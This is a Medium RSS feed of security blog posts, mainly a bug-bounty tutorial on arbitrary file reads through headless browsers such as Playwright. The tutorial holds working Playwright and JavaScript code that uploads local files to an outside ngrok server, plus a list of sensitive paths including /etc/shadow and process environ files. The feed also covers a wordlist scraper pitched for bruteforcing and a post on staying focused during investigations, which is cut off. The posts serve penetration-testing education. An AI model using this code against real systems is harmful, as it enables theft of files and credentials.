<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by woFF on Medium]]></title>
        <description><![CDATA[Stories by woFF on Medium]]></description>
        <link>https://medium.com/@woff?source=rss-b82de4d2808b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pYZ7_Og9GWe3nwLP-0GB3g.png</url>
            <title>Stories by woFF on Medium</title>
            <link>https://medium.com/@woff?source=rss-b82de4d2808b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 23:49:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@woff/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Arbitrary file read tricks with headless browsers]]></title>
            <link>https://medium.com/@woff/arbitrary-file-read-tricks-with-headless-browsers-eeebc2d9e5c8?source=rss-b82de4d2808b------2</link>
            <guid isPermaLink="false">https://medium.com/p/eeebc2d9e5c8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[woFF]]></dc:creator>
            <pubDate>Tue, 31 Jan 2023 14:02:29 GMT</pubDate>
            <atom:updated>2023-01-31T14:02:29.596Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@woff/setting-up-playwright-vscode-for-hacking-headless-browsers-cc8e6298e9b4">Last time we’ve set up a test environment to play around with Playwright</a>. This time I would like to give a walkthrough of a few challenges when pushing arbitrary file reads (throughfile://) with headless browsers (screen empty for directory listing, file being downloaded instead of shown).</p><p>Although I’m using Playwright it is only one example, it could be Selenium, Puppeteer or any other framework to test apps with headless browsers.</p><p>I’m gonna give you a symptom and the solutions which I found (if you have any thoughts on how to improve, please don’t hold yourself back) considering two threat vectors:</p><ul><li>an attacker being able to only control the page to be loaded</li><li>an attacker being able to control the whole playwright test script (rare, but happens)</li></ul><h3>Browser gives an empty screenshot for a directory</h3><p>So in the <a href="https://medium.com/@woff/setting-up-playwright-vscode-for-hacking-headless-browsers-cc8e6298e9b4">previous post</a> you’ve seen how a headless chromium (and actually chrome) is giving an empty screen for file:///. I have to admit that in the heat of a bugbounty I didn’t realize that this was not due to some sophisticated configuration / input validation and that it simply could be resolved by using view-source:file:/// .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*mUttddBSkJQ6KWdlHmitrw.png" /><figcaption>Directory listing visible on Chromium with view-source</figcaption></figure><p>If input sanitization on the target app is messed up, this can work even when you only control the page to be loaded by playwright. And to be honest when input sanitization allows the file:/// protocol to be used, it most likely will allow view-source:file:/// as well ;)</p><h3>Browser gives an empty screenshot for a file you are sure to be present</h3><p>So when I wanted to get a specific configuration file (let’s call it config.yml) on Chrome I bumped into an empty screenshot again (both directly attempting to access it and through view-source). Although I should’ve thought about it immediately I again needed a few extra local clicks in my browser to realize that Chrome (and for that matter Firefox neither) will not render yaml files by default but will “download” them when opened through file. OK, so what can we do?</p><p>If I only had control over the page loaded by playwright I couldn’t find a decent way to overcome this obstacle, however with control over the test specification I just got access to almost all the things a browser can do. Including opening a page with a file upload function.</p><h4>Remote file upload</h4><p>My first quick &amp; dirty approach was to have a form with a filepicker served through ngrok &amp; python, open that page, pick that config.yml with playwright’s help and submit the form.</p><p>The HTML is super simple:</p><pre>&lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; target=&quot;/exfiltrate&quot;&gt;<br>  &lt;div&gt;<br>    &lt;label for=&quot;file&quot;&gt;Choose file to upload&lt;/label&gt;<br>    &lt;input type=&quot;file&quot; id=&quot;file&quot; name=&quot;file&quot; class=&quot;filepicker&quot; multiple /&gt;<br>  &lt;/div&gt;<br>  &lt;div&gt;<br>    &lt;button id=&quot;bttn&quot; class=&quot;bttn&quot;&gt;Submit&lt;/button&gt;<br>  &lt;/div&gt;<br>&lt;/form&gt;</pre><p>Let’s have something quickly to serve it (no, don’t put anything else into that folder and shut down things as soon as you don’t need them):</p><pre>ngrok http 8000<br>python3 -m http.server 8000</pre><p>And the Playwright test doing the actual file upload:</p><pre>import { test, expect } from &#39;@playwright/test&#39;;<br><br>let paths: string[] = [&#39;/root/config.yaml&#39;]<br># of course replace the below with your ngrok domain name<br>let NGROK_DOMAIN: string = &#39;https://edac-12-111-3-75.eu.ngrok.io&#39;<br><br>test(&quot;arbitrary file read&quot;, async ({ page }) =&gt; {<br>  for (var path of paths) {<br>    await page.goto(NGROK_DOMAIN + &#39;/js-fileread.html&#39;);<br>    await page.locator(&#39;input[name=&quot;file&quot;]&#39;).click();<br>    await page.locator(&#39;input[name=&quot;file&quot;]&#39;).setInputFiles(path);<br>    await page.screenshot({ path: &#39;test-results/&#39; + path.replace(/\//gi, &quot;_&quot;) + &#39;.png&#39;, fullPage: true });<br>    await Promise.all([<br>      page.waitForEvent(&#39;popup&#39;),<br>      page.locator(&#39;text=Submit&#39;).click()<br>    ]);  <br>  }<br>});</pre><p>In this case the screenshot’s results are not too useful (one about the upload page and another one with a 501 error response as the python http.server right now doesn’t handle POST requests, but in ngrok’s web UI we can catch that the contents of the file indeed were sent to us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*MT6NsVskL1uOJfzF4Tckpg.png" /><figcaption>Content`s of a local yaml file finally visible</figcaption></figure><p>Awesome, so now we should be able to “scrape” the local file system by extendingpaths in the playwright test specification. To get a general sense of the system I highly recommend gathering all the neat things mentioned in <a href="https://idafchev.github.io/enumeration/2018/03/05/linux_proc_enum.html">https://idafchev.github.io/enumeration/2018/03/05/linux_proc_enum.html</a> (and more target specific files).</p><p>However there are some “files” that can’t be properly retrieved with this super simple html upload due to their content… for example trying to retrieve /proc/net/tcp will leave us with the following error message in the ngrok web UI:</p><blockquote>The connection was closed before this request could be fully read; 0 bytes were captured. It cannot be replayed. The error encountered while reading the request body was “unexpected EOF”.</blockquote><h4>Using FileReader only</h4><p>OK… do we really need that POST for every file? It is handy… especially when the other end is not just a stupid ngrok, but actually gathers the files nicely organized based on any additional metadata available. BUT we can also simply use FileReader to actually read the files as text and write them to the DOM (or send them off to ourselves to store &amp; organize it nicely… but that might be a different post about scaling this whole thing up).</p><p>So let’s open stackoverflow for the rescue and have a different version for this approach (js-fileread.html):</p><pre>&lt;html&gt;<br>  &lt;head&gt;<br>    &lt;script&gt;<br>      window.onload = function(event) {<br>        document.getElementById(&#39;fileInput&#39;).addEventListener(&#39;change&#39;, handleFileSelect, false);<br>      }<br><br>      function handleFileSelect(event) {<br>        var fileReader = new FileReader();<br>        fileReader.onload = function(event) {<br>          document.write(event.target.result);<br>        }<br>        var file = event.target.files[0];<br>        fileReader.readAsText(file);<br>      }<br>    &lt;/script&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;fileInput&quot;&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>And a minor tweak on the playwright test itself (no need to actually submit anything):</p><pre>import { test, expect } from &#39;@playwright/test&#39;;<br><br>let paths: string[] = [&#39;/proc/net/tcp&#39;]<br>let NGROK_DOMAIN: string = &#39;https://edac-12-111-3-75.eu.ngrok.io&#39;<br><br>test(&quot;arbitrary file read&quot;, async ({ page }) =&gt; {<br>  for (var path of paths) {<br>    await page.goto(NGROK_DOMAIN + &#39;/js-fileread.html&#39;);<br>    await page.locator(&#39;input[name=&quot;file&quot;]&#39;).click();<br>    await page.locator(&#39;input[name=&quot;file&quot;]&#39;).setInputFiles(path);<br>    await page.screenshot({ path: &#39;test-results/&#39; + path.replace(/\//gi, &quot;_&quot;) + &#39;.png&#39;, fullPage: true });<br>  }<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ARE1FrlGxvbmcW4a9oFReA.png" /><figcaption>And here comes /proc/net/tcp as well</figcaption></figure><p>As I said, I personally prefer to get that data not as screenshots so this is what I ended up with for handling the file select:</p><pre>function handleFileSelect(event) {<br>        var file = event.target.files[0];<br>        var fileReader = new FileReader();<br>        fileReader.onload = function(event) {<br>          const xhr = new XMLHttpRequest();<br>          xhr.open(&#39;PUT&#39;, &#39;/file/&#39; + file.name, true);<br>          xhr.onload = () =&gt; {};<br>          xhr.send(event.target.result);<br>        }<br>        fileReader.readAsBinaryString(file);<br>      }</pre><p>And I removed creating the screenshots from the test spec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ORRnUXrU1qdQ0cXdVj1nhw.png" /><figcaption>File name and content both nicely visible</figcaption></figure><p>Of course there are a ton of ways to further improve this whole thing:</p><ul><li>let’s actually multiselect those files all at once</li><li>have that backend writing the files to disk for investigation nicely with all the additional info (map the full path based on the filename / set extra info from playwright to have the full path by default)</li></ul><h3>What to grab?</h3><p>OK, so now we have a decent way to retrieve multiple files reliably. What should you get by default?</p><p>I would go with something like this:</p><pre>let paths: string[] = [<br>  &#39;/proc/net/arp&#39;, &#39;/proc/net/route&#39;, &#39;/proc/net/tcp&#39;, &#39;/proc/self/cmdline&#39;,<br>  &#39;/proc/self/comm&#39;, &#39;/proc/self/environ&#39;, &#39;/proc/mounts&#39;, <br>  &#39;/proc/uptime&#39;, &#39;/etc/fstab&#39;, &#39;/etc/passwd&#39;, &#39;/etc/shadow&#39;, &#39;/etc/hosts&#39;, <br>  &#39;/etc/hostname&#39;, &#39;/etc/resolv.conf&#39;<br>]</pre><p>And to do a bit of recon on the running processes (bruteforcing the first 100 pids, but ofc you could increase it way more…):</p><pre>for (let pid = 0; pid &lt; 100; pid++) {<br>  paths.push(&#39;/proc/&#39; + pid + &#39;/cmdline&#39;)<br>  paths.push(&#39;/proc/&#39; + pid + &#39;/environ&#39;)<br>}</pre><p>And this would be really just the first step giving some ideas about the environment… I also would create a short Playwright test to gather the directory listing recursively on the whole disk (maybe next time?).</p><p>And then the most important part: understand the target by thoroughly analyzing the results and look for anything that might actually contain sensitive information (duh).</p><p>As you can see it is absolutely no rocket science to read files when you have a chance to play around with playwright / puppeteer but there are a few issues that need a bit of care and automating all the above can significantly increase your speed on pentests / bugbounties.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eeebc2d9e5c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting up Playwright & VSCode for hacking headless browsers]]></title>
            <link>https://medium.com/@woff/setting-up-playwright-vscode-for-hacking-headless-browsers-cc8e6298e9b4?source=rss-b82de4d2808b------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc8e6298e9b4</guid>
            <category><![CDATA[vscode]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[woFF]]></dc:creator>
            <pubDate>Tue, 17 Jan 2023 14:01:50 GMT</pubDate>
            <atom:updated>2023-01-17T16:29:01.642Z</atom:updated>
            <content:encoded><![CDATA[<p>Since headless browsers are absolutely powerful, they are a low hanging fruit for any penetration tester / bugbounty hunter. Imagine you bumped into an application which allows you to run “reliable end-to-end testing for modern web apps” and besides other interesting things it generates screenshots from the tests.</p><p>Headless browsers show up surprisingly often in bugbounties and pentests so having an idea how they behave / what can you with them is crucial to be able to maximize the value of your reports.</p><p>Reading some files and opening arbitrary network connections is really trivial if you have control over a headless browser but there are challenges to access anything. I’m writing this series as I go on with a few tests (obviously without sharing any details about the programs), but I plan to cover at least a few tips and tricks on overcoming a few challenges around arbitrary file reads and bypassing filters protecting against server side request forgery (SSRF). These will come later, this post is about the test environment I use.</p><h4>Setting things up</h4><p>I’m using the official <a href="https://playwright.dev/docs/docker">playwright docker container</a> and run tests on headless Chrome, Firefox and Webkit. Tests are configured to generate screenshots which later can be analyzed. For convenience I will use VSCode with <a href="https://marketplace.visualstudio.com/items?itemName=ms-playwright.playwright">Playwright test for VSCode </a>within the container.</p><p>Let’s start setting things up by having the docker container with all the package dependencies and headless browsers running:</p><pre>docker run -d mcr.microsoft.com/playwright:v1.29.2-focal sleep infinity</pre><p>Open VSCode and go to the Docker extension, right click on the running Playwright container and pick Attach Visual Studio Code. This will open up a new window within the container.</p><p>Let’s search for and install the “Playwright test for VSCode” extension within the container. Open up the Command palette and run “Test: Install Playwright”, select the browsers to install (no need to install dependencies). To check if things work open up the “Testing” panel from the left and run one of the example tests in the “Test explorer”.</p><p>As I’m mostly interested in the screenshots at this point, I’ve changed playwright.config.ts :</p><pre>import { PlaywrightTestConfig } from &#39;@playwright/test&#39;;<br>import { devices } from &#39;@playwright/test&#39;;<br><br>const config: PlaywrightTestConfig = {<br>  use: {<br>    headless: true,<br>    screenshot: &#39;on&#39;<br>  },<br>  projects: [<br>    {<br>      name: &#39;chromium&#39;,<br>      use: {<br>        ...devices[&#39;Desktop Chrome&#39;],<br>      },<br>    },<br>    {<br>      name: &#39;firefox&#39;,<br>      use: {<br>        ...devices[&#39;Desktop Firefox&#39;],<br>      },<br>    },<br>    {<br>      name: &#39;webkit&#39;,<br>      use: {<br>        ...devices[&#39;Desktop Safari&#39;],<br>      },<br>    },<br>  ],<br>};<br>export default config;</pre><p>I’ve removed the tests-examples directory and tests/example.spec.ts and created tests/arbitrary-fileread.spec.ts with the following extremely simple content (imagine what would you do as an attacker if you had the opportunity to control the whole thing or just the page.goto() part which tells the browser to open a specific page):</p><pre>import { test, expect } from &#39;@playwright/test&#39;;<br><br>test(&#39;arbitrary fileread&#39;, async ({ page }) =&gt; {<br>  await page.goto(&#39;file:///&#39;);<br>});</pre><h4>Giving it a test ride ;)</h4><p>Let’s go to the Test explorer and run the tests (but first change the Default Profile to run all three browsers). The screenshots will end up in the test-results directory (before you start wondering… yes the first one is a seemingly empty one):</p><figure><img alt="Empty screenshot generated by Chromium." src="https://cdn-images-1.medium.com/max/1024/1*TtWdJ7OMnvBnTXdU3ns4oA.png" /><figcaption>Chromium</figcaption></figure><figure><img alt="Screenshot generated by a headless Firefox" src="https://cdn-images-1.medium.com/max/1024/1*-x4ZgIWHeSomGVSYnfdDuw.png" /><figcaption>Firefox</figcaption></figure><figure><img alt="Screenshot generated by a headless Webkit" src="https://cdn-images-1.medium.com/max/1024/1*xA61NgokIpiQRtfzYbucGA.png" /><figcaption>Webkit</figcaption></figure><p>OK. That first empty image is weird, but let’s see how retrieving /proc/self/environ would look like (just change the path in arbitrary-fileread.spec.ts ).</p><pre>Running 3 tests using 3 workers<br><br>  ✓  1 [chromium] › tests/arbitrary-fileread.spec.ts:3:5 › arbitrary fileread (216ms)<br>  ✓  2 [webkit] › tests/arbitrary-fileread.spec.ts:3:5 › arbitrary fileread (431ms)<br>  ✘  3 [firefox] › tests/arbitrary-fileread.spec.ts:3:5 › arbitrary fileread (983ms)<br><br><br>  1) [firefox] › tests/arbitrary-fileread.spec.ts:3:5 › arbitrary fileread =========================<br><br>    page.goto: Download is starting<br>    =========================== logs ===========================<br>    navigating to &quot;file:///proc/self/environ&quot;, waiting until &quot;load&quot;<br>    ============================================================<br><br>      2 |<br>      3 | test(&#39;arbitrary fileread&#39;, async ({ page }) =&gt; {<br>    &gt; 4 |   await page.goto(&#39;file:///proc/self/environ&#39;);<br>        |              ^<br>      5 | });<br>      6 |<br><br>        at /root/tests/arbitrary-fileread.spec.ts:4:14</pre><p>Of course Chromium’s screenshot is empty, but now Firefox is failing to give us meaningful results as well since the browser tries to download the given file (which means it won’t really show the content). At least we still can trust Webkit:</p><figure><img alt="Contents of /proc/self/environ shown in the screenshot from Webkit" src="https://cdn-images-1.medium.com/max/1024/1*EvSJCtWXaNaHmTtMDTG6pQ.png" /><figcaption>/proc/self/environ — Webkit</figcaption></figure><p>All right, so I guess it is not too surprising that with screenshots from a browser it might be simple for example to read files. But as you can see there are a few things that can make retrieving actual content reliable and simple.</p><ul><li>How to handle that seemingly empty screenshot from Chromium?</li><li>How to get the contents of files that would be downloaded by the browser?</li><li>What paths to actually use to gather useful information about the vulnerable system?</li></ul><p>But this post was intended to be a super quick intro to the test environment. See you next time with answers to those questions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc8e6298e9b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Coding a custom wordlist generator with Chat GPT]]></title>
            <link>https://medium.com/@woff/coding-a-custom-wordlist-generator-with-chat-gpt-ca2c60c41a8d?source=rss-b82de4d2808b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca2c60c41a8d</guid>
            <category><![CDATA[bugbounty-automation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[chatgpt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[woFF]]></dc:creator>
            <pubDate>Thu, 05 Jan 2023 20:32:48 GMT</pubDate>
            <atom:updated>2023-01-05T20:32:48.908Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Robot typing in front of a computer." src="https://cdn-images-1.medium.com/max/1024/1*F3jmiMey-DBiVEL2gdSzQg.png" /><figcaption>Generated with Midjourney</figcaption></figure><p>Long story short I wanted to have a custom wordlist to support my hobby bugbounty activities and since I was already playing around with Chat GPT I was curious if it can actually be a helpful companion. This time my goal was to support some custom directory / file enumeration, but you can see how this can be handy for password bruteforcing as well.</p><p>I’m more comfortable scripting in python so I decided to go with it and the overall goal was to have a script that:</p><ul><li>takes a parameter to search for on google</li><li>retrieves the first N result’s URLs</li><li>visits the URLs and extracts the text from it</li><li>pushes out the result to stdout</li></ul><p>Nothing fancy, but I was lazy to use <a href="https://digi.ninja/projects/cewl.php">CeWL</a> (which is pretty cool and way more advanced than the end result here…).</p><h3>Setting up the OpenAI playground</h3><p>I also tried out CodeGPT in VSCode (as suggested by <a href="https://medium.com/u/fb44e21903f3">The PyCoach</a> in <a href="https://medium.com/@frank-andrade/codegpt-the-vscode-extension-with-chatgpt-like-functionalities-783323a916c3">https://medium.com/@frank-andrade/codegpt-the-vscode-extension-with-chatgpt-like-functionalities-783323a916c3</a>) but to be honest at some point I started to get the responses of other user’s queries, so I immediately uninstalled it. (It was specific to the VSCode extension and it might have been a temporary glitch, obviously I never would share any input containing secrets, … maybe I will dig into it later)</p><p>So I ended up simply using the <a href="https://beta.openai.com/playground?model=code-davinci-002">Openai playground with the code-davinci-002 model</a> and increased maximum length to 1024. I won’t share all my attempts here, but definitely plan to highlight the more interesting ones.</p><h3>The naive approach</h3><p>Let’s see how will it handle the full scope in this detail level:</p><pre>&#39;&#39;&#39;<br>Write a python program that:<br>- takes a parameter to search for on google<br>- retrieves the first N result&#39;s URLs<br>- visits the URLs and extracts the text from it<br>- pushes out the result to stdout<br><br>&#39;&#39;&#39;<br><br>import sys<br>import requests<br>from bs4 import BeautifulSoup<br><br>def get_urls(search_term, n):<br>    &#39;&#39;&#39;<br>    Returns the first n urls from a google search<br>    &#39;&#39;&#39;<br>    url = &#39;https://www.google.com/search?q={}&#39;.format(search_term)<br>    response = requests.get(url)<br>    soup = BeautifulSoup(response.text, &#39;html.parser&#39;)<br>    urls = [a.attrs.get(&#39;href&#39;) for a in soup.select(&#39;div.r a&#39;)]<br>    return urls[:n]<br><br>def get_text(url):<br>    &#39;&#39;&#39;<br>    Returns the text from a url<br>    &#39;&#39;&#39;<br>    response = requests.get(url)<br>    soup = BeautifulSoup(response.text, &#39;html.parser&#39;)<br>    text = soup.get_text()<br>    return text<br><br>def main():<br>    &#39;&#39;&#39;<br>    Main function<br>    &#39;&#39;&#39;<br>    search_term = sys.argv[1]<br>    n = int(sys.argv[2])<br>    urls = get_urls(search_term, n)<br>    for url in urls:<br>        print(get_text(url))<br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>Ok, so it looks decent. It actually extracted the two larger logical chunks to two separate methods and suggested to use BeutifulSoup for extracting text from an HTML.</p><p><strong>Error handling definitely feels to be missing, but the larger issue is: it is not working.</strong></p><p>The problem is that if you check the HTML output for a google search you will notice that in each occasion the classes are changing (I guess to avoid this type of simple scraping).</p><h3>Let’s ask Chat GPT how to search Google programmatically</h3><p>To be honest I like to use the simple <a href="https://chat.openai.com/chat">https://chat.openai.com/chat</a> as a rubber duck I’ve fallen back to it.</p><blockquote>Me: I’m writing a python3 code to get the top 20 results’ URLs from google. How would you do it?</blockquote><blockquote>RubberDuck: There are several ways to do this, but one option is to use the Google Search API. Here’s how you can get started:</blockquote><blockquote>1. Go to the <a href="https://console.cloud.google.com/">Google Cloud Console</a>.</blockquote><blockquote>2. Click the project drop-down and create a new project.</blockquote><blockquote>3. Click the hamburger menu and select APIs &amp; Services &gt; Credentials.</blockquote><blockquote>4. On the Credentials page, click Create credentials &gt; API key. The API key created dialog displays your newly created API key.</blockquote><blockquote>5. Click Close.</blockquote><blockquote>The new API key is listed on the Credentials page under API keys.</blockquote><blockquote>To restrict the API key for use only with the Custom Search API, click the Edit button for the API key, navigate to the Key restriction section, and set Application restrictions to HTTP referrers.</blockquote><blockquote>Add the referrers. This can be a specific web site or an IP address (like 192.168.1.1).</blockquote><blockquote>Click Save.</blockquote><blockquote>With the API key, you can then use the <a href="https://developers.google.com/custom-search/v1/reference/rest/v1/cse/list">Custom Search API</a> to search Google and retrieve the top 20 results. Here’s a sample code that demonstrates how to do this:</blockquote><pre>import requests<br><br>def search(query):<br>    query = query.replace(&#39; &#39;, &#39;+&#39;)<br>    api_key = &#39;YOUR_API_KEY&#39;<br>    cx = &#39;YOUR_CSE_ID&#39;<br>    url = f&#39;https://www.googleapis.com/customsearch/v1?q={query}&amp;key={api_key}&amp;cx={cx}&amp;num=20&#39;<br>    response = requests.get(url)<br>    if response.status_code == 200:<br>        data = response.json()<br>        return [item[&#39;link&#39;] for item in data[&#39;items&#39;]]<br>    else:<br>        return None<br><br>results = search(&#39;your search query&#39;)<br>if results:<br>    for result in results:<br>        print(result)<br>else:<br>    print(&#39;No results&#39;)</pre><blockquote>You will need to replace YOUR_API_KEY and YOUR_CSE_ID with your own API key and CSE ID, respectively. You can obtain your CSE ID by creating a Custom Search Engine at <a href="https://cse.google.com/cse/">https://cse.google.com/cse/</a>.</blockquote><blockquote>I hope this helps! Let me know if you have any questions.</blockquote><p>Polite response that’s for sure. I followed the instructions (except that when reading about the Custom Search API, I ended up creating the project &amp; API key <a href="https://developers.google.com/custom-search/v1/introduction#create_programmable_search_engine">here</a>) and things seemed to be working. So let’s get back to the Playground and try to get the code in a final state.</p><h3>Getting a working PoC code</h3><p>So I’m skipping a few extra iterations here as I had to give Chat GPT a few extra hints:</p><ul><li>uses the Google Custom Search JSON API: see above</li><li>uses googleapiclient: I didn’t like the requests based approach… I was pretty sure there is a specific library to interact with the APIs from google… Asked RubberDuck and after getting requests recommended again I pushed for something else and got to <a href="https://developers.google.com/api-client-library/python/">Google API Client Library for Python</a></li><li>takes care of pagination when reading the Google Custom Search JSON API results: I noticed the results were always pretty shitty and didn’t really handle pagination, so I made this an explicit requirement</li><li>retrieves the first 100 result’s URLs: again pagination… the API will give back the first 10 results and without making it explicit that the number of results we are interested in can be more I ended up getting subpar results</li></ul><pre>&#39;&#39;&#39;<br>Write a python program that:<br>- takes a parameter to search for on google<br>- uses the Google Custom Search JSON API<br>- uses googleapiclient<br>- takes care of pagination when reading the Google Custom Search JSON API results<br>- retrieves the first 100 result&#39;s URLs<br>- visits the URLs and extracts the text from it<br>- pushes out the result to stdout<br><br>&#39;&#39;&#39;<br><br>import sys<br>import json<br>import requests<br>from bs4 import BeautifulSoup<br>from googleapiclient.discovery import build<br><br>def get_search_results(query, api_key, cse_id, **kwargs):<br>    service = build(&quot;customsearch&quot;, &quot;v1&quot;, developerKey=api_key)<br>    res = service.cse().list(q=query, cx=cse_id, **kwargs).execute()<br>    return res[&#39;items&#39;]<br><br>def get_text_from_https://medium.com/url(url):<br>    r = requests.get(url)<br>    soup = BeautifulSoup(r.text, &#39;html.parser&#39;)<br>    return soup.get_text()<br><br>def main():<br>    query = sys.argv[1]<br>    number_of_urls = sys.argv[2]<br>    api_key = sys.argv[3]<br>    cse_id = sys.argv[4]<br>    results = []<br>    for i in range(0, number_of_urls, 10):<br>        results.extend(get_search_results(query, api_key, cse_id, start=i))<br>    for result in results:<br>        print(get_text_from_url(https://medium.com/result[&#39;link&#39;]))<br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>And it worked (well I fine tuned the for loop to get the required number of results). Only at this point I realized that I only asked it to retrieve the text… So after a quick consultation I ended up fixing a few things:</p><ul><li>getting the words based on a regexp</li><li>and getting only that to the output</li><li>and added an ugly exception handling when doing the request</li></ul><pre>import sys<br>import re<br>import requests<br>from bs4 import BeautifulSoup<br>from googleapiclient.discovery import build<br><br>valid_words = re.compile(&#39;^([A-Z]{1}[a-z]{1,}|[a-z]{2,})$&#39;)<br><br>def get_search_results(query, api_key, cse_id, **kwargs):<br>    service = build(&quot;customsearch&quot;, &quot;v1&quot;, developerKey=api_key)<br>    res = service.cse().list(q=query, cx=cse_id, **kwargs).execute()<br>    return res[&#39;items&#39;]<br><br>def get_text_from_https://medium.com/url(url):<br>    try:<br>        r = requests.get(url)<br>        soup = BeautifulSoup(r.text, &#39;html.parser&#39;)<br>        unique_text = set(soup.get_text().split(&#39; &#39;))<br>        unique_words = { s.lower() for s in unique_text if valid_words.match(s) }<br>    except:<br>        print(f&quot;Error when reading {url}&quot;)<br>    return unique_words<br><br>def main():<br>    query = sys.argv[1]<br>    number_of_urls = sys.argv[2]<br>    api_key = sys.argv[3]<br>    cse_id = sys.argv[4]<br>    search_results = []<br>    word_results = set()<br>    for i in range(0, number_of_urls, 10):<br>        search_results.extend(get_search_results(query, api_key, cse_id, start=i))<br>    for search_result in search_results:<br>        word_results = word_results.union(get_text_from_url(https://medium.com/search_result[&#39;link&#39;]))<br>    for word in word_results:<br>        print(word)<br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>Not the most beautiful code (for the sake of this post I tried not to override the results too much), but it does the job. I still don’t think Chat GPT will take away our jobs as it definitely gave stupid responses, which I had to evaluate, but I think as a rubberduck it does a decent job. Would I’ve been quicker using google and simply the API documentation? Maybe… but it was fun :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca2c60c41a8d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Keeping your focus during security investigations]]></title>
            <link>https://medium.com/@woff/keeping-your-focus-during-security-investigations-141886f2fdc1?source=rss-b82de4d2808b------2</link>
            <guid isPermaLink="false">https://medium.com/p/141886f2fdc1</guid>
            <category><![CDATA[mental-health]]></category>
            <category><![CDATA[focus]]></category>
            <category><![CDATA[productivity]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[woFF]]></dc:creator>
            <pubDate>Wed, 04 Jan 2023 08:32:21 GMT</pubDate>
            <atom:updated>2023-01-04T08:32:21.930Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This post is the second of three where I share a few tools which worked for me to keep my sanity and improve my efficiency during and after security investigations.</em></p><p>This time I would like to share a few techniques which helped me to stay focused during investigations, but it is insanely hard to stay focused when your body is in fight or flight mode, so I highly advise to also skim through the previous post about <a href="https://medium.com/@woff/coping-with-fear-and-stress-during-cybersecurity-investigations-b441b5a6d0aa">coping with fear and stress during investigations</a>.</p><p>I will cover:</p><ul><li>how to practice,</li><li>the advantages of doing strictly one thing at a time,</li><li>the value of using kanban and pomodoro,</li><li>how to achieve flow,</li><li>why to write down everything (even if it feels time lost at first),</li><li>what to do when you need more headspace,</li><li>and what to do when you feel stuck in a loop</li></ul><p>Over the years I was part of cybersecurity investigations, drills and tabletop exercises as a consultant, analyst, engineer and manager so obviously I am really biased by my past, however my intention is to give hands on tools for all types of individuals and teams who can deal with such events.</p><h4>Practice!</h4><p>I don’t think it will be a surprise to anyone, but here it goes: don’t wait for your next incident looking security investigation to practice. Ideally your team should do incident response drills and you most likely see suspicious — but most likely not harmful — events pretty often such as valid bugbounty submissions / penetration test findings. These events provide a safe opportunity to test out new strategies and procedures.</p><p>I want to emphasize the importance of dedicated, conscious practice as I got into conversations about the ideal focus of drills / tabletop exercises (technical investigation vs. process) way too many times. I believe process level improvements (like the practices I will share below) can make a significant difference to overcome any technical challenge. However even with the all the logs being at my fingertips I feel I could end up missing important things without following a crystal clear process and best practices.</p><h4>Do one thing. Do it well.</h4><figure><img alt="A laser beam focusing on a brain." src="https://cdn-images-1.medium.com/max/1024/1*PAtDf-jQwuIFn1zY1I7atg.png" /><figcaption>Generated with Midjourney</figcaption></figure><p>The idea of focusing on one task and doing it well is a common concept that appears in various fields. It is a key concept in the <a href="https://en.wikipedia.org/wiki/Unix_philosophy">Unix philosophy</a>, it is one of the popular advises to get to <a href="https://en.wikipedia.org/wiki/Flow_(psychology)">flow state in psychology</a>, it is kind of embedded into being present / mindful. Although it seems really simple, for some weird reason it can be difficult to consistently follow this advice.</p><p>But why should we? There is a wealth of scientific research on the effects of multitasking and the benefits of focusing on a single task:</p><ul><li>People who multitasked frequently had lower cognitive control and were more prone to making mistakes compared to those 